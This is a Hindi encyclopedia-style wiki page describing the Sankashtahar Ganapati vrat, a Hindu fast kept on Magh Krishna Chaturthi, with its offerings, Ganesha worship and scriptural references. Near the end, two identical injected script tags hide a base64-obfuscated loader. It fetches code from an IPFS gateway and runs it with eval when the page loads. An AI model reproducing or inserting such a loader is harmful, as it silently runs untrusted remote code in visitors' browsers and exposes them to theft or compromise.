संकष्टहरगणपति व्रत

भारत डिस्कवरी प्रस्तुति
Revision as of 20:07, 14 September 2010 by व्यवस्थापन (talk | contribs) (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==")
Jump to navigation Jump to search
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • माघ कृष्ण पक्ष की चतुर्थी पर संकष्टहर गणपतिव्रत किया जाता है।
  • संकष्टहर गणपतिव्रत तिथिव्रत; चन्द्रोदय पर; देवता गणेश की पूजा की जाती है।
  • व्रतरत्नाकर[1] ने विस्तृत उल्लेख किया है, जिसमें ­ऋगवेद[2], पुरुषसूक्त [3] के मंत्र तथा नारद पुराण के एवं अन्य पौराणिक मंत्र दिये गये हैं।
  • संकष्टहर गणपतिव्रत 16 उपचार हैं।
  • संकष्टहर गणपतिव्रत 21 नामों के साथ गणेश की पूजा करनी चाहिए।
  • उतनी ही संख्या में दूर्वा की शाखाएँ होनी चाहिए।
  • उतनी ही संख्या में भ्रंगराज, बिल्व, बदरी, धत्तूर, शमी की पत्तियाँ एवं लाल फूल होने चाहिए।
  • गणपति की 108 नामों से पूजा की जानी चाहिए।
  • अन्त में पूजक को 5 मोदक एवं दक्षिणा देनी चाहिए।
  • ऐसा आया है कि व्यास ने यह व्रत युधिष्ठर को बताया था।
  • संकष्ट का अर्थ है 'कष्ट या विपत्ति', 'कष्ट' का अर्थ है 'क्लेश', सम् उसके आधिक्य का द्योतक है।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. (व्रतरत्नाकर 176-188)
  2. (ऋगवेद 10|63|3, 4|50|6)
  3. (पुरुषसूक्त ऋगवेद 10|90)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः